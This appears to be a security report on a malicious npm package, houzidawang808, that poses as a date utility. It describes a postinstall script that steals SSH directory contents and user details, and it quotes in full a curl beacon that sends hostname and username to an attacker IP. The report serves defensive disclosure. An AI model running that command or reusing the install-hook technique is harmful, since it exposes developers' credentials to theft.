houzidawang808
This report shows the evidence for houzidawang808@1.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5732 confirms this npm version as malicious.
Advisory
MAL-2026-5732
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in houzidawang808 (npm)
Details
The package presents itself as a 'simple date formatting utility' (index.js exports a trivial formatDate wrapper around toLocaleDateString), but ships a postinstall.js that runs automatically on npm install. The postinstall script reads the contents of the installer's ~/.ssh directory via fs.readdirSync, collects os.userInfo() username and platform information, and POSTs the data to https://124.221.154.135/post — a hardcoded bare-IP destination with no documented purpose. Chinese-language comments in the file explicitly describe it as SSH-key theft and C2 exfiltration. The package.json additionally declares a build script `curl http://124.221.154.135//pre?h=$(hostname)&u=$(whoami)` that beacons hostname/username over plain HTTP to the same attacker IP, confirming the infrastructure. The benign date-utility facade is a cover story for credential-harvesting on installer machines.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to houzidawang808@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing houzidawang808@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.